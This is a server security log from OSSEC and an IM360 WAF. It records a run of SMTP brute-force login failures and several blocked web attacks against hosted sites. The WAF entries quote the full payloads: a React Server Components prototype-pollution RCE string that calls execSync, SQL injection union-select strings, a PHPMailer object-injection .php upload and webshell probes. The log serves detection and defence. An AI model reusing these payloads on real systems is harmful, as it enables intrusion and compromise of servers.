# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:52:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49659: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:52:32 dovecot_login authenticator failed for H=(VCPr3TlG) [158.94.208.175]:59954: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-02-01 13:52:32 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:60576: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-02-01 13:52:09 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:33808: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.170
country_id: 1269750
description:
2026-02-01 13:52:43 dovecot_login authenticator failed for H=([122.187.223.48]) [128.185.201.170]:55114: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:53:32 dovecot_login authenticator failed for H=(TuYdtdaq) [158.94.208.175]:51812: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:53:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56312: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:53:47 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47330: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:54:04 dovecot_login authenticator failed for H=(GT2dfD) [158.94.208.175]:61207: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:54:15 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62066: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 13:54:37 dovecot_login authenticator failed for H=(oEM3DGuxZW) [178.16.52.139]:62297: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.146
country_id: 2635167
description:
2026-02-01 13:54:46 225418 [Warning] Aborted connection 225418 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.146' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.119.41.136
country_id: 953987
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=7 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:55:29 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57574: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:55:54 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35118: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.93.159.90
country_id: 1269750
description:
2026-02-01 13:55:55 dovecot_login authenticator failed for H=([59.93.159.90]) [59.93.159.90]:51431: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.189
country_id: 1814991
description:
2026-02-01 13:56:19 dovecot_login authenticator failed for H=([111.61.177.189]) [111.61.177.189]:22376: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.146
country_id: 2635167
description:
2026-02-01 13:56:36 225506 [Warning] Aborted connection 225506 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.146' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.104
country_id: 1269750
description:
2026-02-01 13:56:53 dovecot_login authenticator failed for H=(nsg-corporate-104.230.187.122.airtel.in) [122.187.230.104]:60780: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:56:08 dovecot_login authenticator failed for H=(jCjdB3c) [158.94.208.175]:65276: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:56:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63323: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-02-01 13:56:18 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:42306: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:57:42 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56571: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-02-01 13:57:53 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:39740: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:57:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52514: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 13:57:39 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:54713: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:57:40 dovecot_login authenticator failed for H=(B0n6yg8jV) [158.94.208.175]:57201: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:58:44 dovecot_login authenticator failed for H=(qpGQOhVf) [158.94.208.175]:53763: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:58:02 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:37144: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 13:58:09 dovecot_login authenticator failed for H=(GMy1nlipZ) [178.16.52.139]:53151: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: modsec
rule: 77093094
abuser: 213.177.179.61
country_id: 1668284
domain: aoto.com.my
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo $((43847*41700))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:58:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63482: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.121.91.172
country_id: 1227603
description:
2026-02-01 13:59:21 dovecot_plain authenticator failed for H=(5HJ30XO6291) [45.121.91.172]:59397: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 13:59:46 dovecot_login authenticator failed for H=(Am6Qr9uBv) [178.16.54.22]:52042: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:59:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53119: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:59:18 dovecot_login authenticator failed for H=(t3NpFqDa) [158.94.208.175]:59985: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:00:01 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59154: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 125.230.215.196
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:3063 and 5=6 union select 0x5e5b7d7e --||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 125.230.215.196
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:3063 and 5=6 union select 0x5E5B7D7E --||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77316746
name: IM360 WAF: Generic SQLi attempt
abuser: 125.230.215.196
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Generic SQLi attempt||MVN:ARGS:id||MV:3063' and 5=6 union select 0x5e5b7d7e -- and '6'='6||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:00:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42882: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:00:21 dovecot_login authenticator failed for H=(ywAsxVZ) [158.94.208.175]:62849: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:01:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49714: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:01:25 dovecot_login authenticator failed for H=(UUBmWfl) [158.94.208.175]:50619: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:02:40 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61335: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:02:50 dovecot_login authenticator failed for H=(IoMmh6EZH) [158.94.208.175]:49205: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:02:14 dovecot_login authenticator failed for H=(3KaZS5b4ZB) [178.16.54.22]:53045: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:02:26 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:53680: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:02:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61335: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.177.246.143
country_id: 1269750
description:
2026-02-01 14:02:34 dovecot_plain authenticator failed for H=(P756S1ACH72QLPV) [122.177.246.143]:17356: 535 Incorrect authentication data (set_id=sean@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.88.127.249
country_id: 1835841
description:
2026-02-01 14:03:57 dovecot_login authenticator failed for H=([220.88.127.249]) [220.88.127.249]:53040: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:03:11 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51696: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:03:23 dovecot_login authenticator failed for H=(Ug5Bz7) [158.94.208.175]:55012: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:03:39 dovecot_login authenticator failed for H=(iI1nPT) [178.16.54.22]:56880: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:04:13 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57724: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:04:42 dovecot_login authenticator failed for H=(KLlMiASxK) [178.16.54.22]:56078: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.142.67
country_id: 337996
description:
2026-02-01 14:04:45 dovecot_login authenticator failed for H=([196.191.142.67]) [196.191.142.67]:44480: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.190.238.234
country_id: 2017370
description:
2026-02-01 14:04:22 dovecot_login authenticator failed for H=(91-190-238-234.in-addr.netone.ru) [91.190.238.234]:46238: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:04:27 dovecot_login authenticator failed for H=(JLyFMvj) [158.94.208.175]:56240: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:04:38 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38900: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-02-01 14:05:04 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:35553: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:05:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53751: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:05:30 dovecot_login authenticator failed for H=(gkENU8T) [158.94.208.175]:63142: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:05:50 dovecot_login authenticator failed for H=(SW6MPPDH1) [178.16.54.22]:65301: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:06:48 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38652: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:06:25 dovecot_login authenticator failed for H=(Q9IaW2J) [178.16.54.22]:51476: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:06:03 dovecot_login authenticator failed for H=(VSHQkYpc) [158.94.208.175]:64270: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:06:12 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59367: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:07:56 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54841: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:07:06 dovecot_login authenticator failed for H=(cKgfO1M) [158.94.208.175]:56421: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:07:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65476: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:07:29 dovecot_login authenticator failed for H=(nRuOgCGfPM) [178.16.54.22]:57916: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:08:09 dovecot_login authenticator failed for H=(iKXWCp) [158.94.208.175]:53773: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:08:56 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47434: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:08:35 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54107: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:08:03 dovecot_login authenticator failed for H=(6zS8n4v) [178.16.54.22]:60438: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: modsec
rule: 77625152
name: IM360 WAF: Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:nm_postfront_upload_file||MV:393lsvcgtrdtju8op4oghitfjah.php||MVN:ARGS:name||WPU:||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.182.118.138
country_id: 732800
description:
2026-02-01 14:09:17 dovecot_login authenticator failed for H=([62.182.118.138]) [62.182.118.138]:36658: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:09:38 dovecot_login authenticator failed for H=(7qTk2RWyx) [178.16.54.22]:56866: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.72.231.190
country_id: 2017370
description:
2026-02-01 14:09:56 dovecot_login authenticator failed for H=(50FF2020516F.mldns.ru) [109.72.231.190]:54501: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:09:13 dovecot_login authenticator failed for H=(vGbS5Q7J) [158.94.208.175]:63136: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:09:20 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61234: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.104.50.190
country_id: 1562822
description:
2026-02-01 14:09:33 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [116.104.50.190]:55882: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: Track file upload for Infectors||RSV:7.71||T:APACHE||SC:/home/agpcorg/public_html/wp-admin/admin-ajax.php||User:agpcorg||WPU:||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/post_files/393lsvcgtrdtju8op4oghitfjah.php||SC:/home/agpcorg/public_html/wp-content/uploads/post_files||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.128.55.170
country_id: 1814991
description:
2026-02-01 14:09:45 dovecot_login authenticator failed for H=([219.128.55.170]) [219.128.55.170]:44509: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.141.18.69
country_id: 6252001
description:
2026-02-01 14:10:38 dovecot_login authenticator failed for H=(209-141-18-69.sfn.uct-usa.com) [209.141.18.69]:52451: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.113.236.114
country_id: 1512440
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/shoplist/merit/29/images/logo-(3).png HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.95.254
country_id: 1814991
description:
2026-02-01 14:10:25 dovecot_login authenticator failed for H=([111.26.95.253]) [111.26.95.254]:54272: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:10:11 dovecot_login authenticator failed for H=(bXnkAJx) [178.16.54.22]:50254: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:10:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50366: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:10:42 dovecot_login authenticator failed for H=(CQyePR) [158.94.208.175]:61115: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:11:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56062: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.187
country_id: 1269750
description:
2026-02-01 14:11:07 dovecot_login authenticator failed for H=(nsg-corporate-187.230.187.122.airtel.in) [122.187.230.187]:57938: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:11:17 dovecot_login authenticator failed for H=(RLWaVaKI) [158.94.208.175]:65522: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 14:11:40 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:46348: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.248.4.85
country_id: 1269750
description:
2026-02-01 14:11:59 dovecot_login authenticator failed for H=([115.248.153.209]) [115.248.4.85]:58842: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:11:06 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57738: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/services/images/sliders/rpl.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:12:14 dovecot_login authenticator failed for H=(Sa5956) [178.16.54.22]:50476: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:12:22 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51061: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:12:50 dovecot_login authenticator failed for H=(7vRNXC4) [158.94.208.175]:64810: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:13:23 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56584: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:13:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56584: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
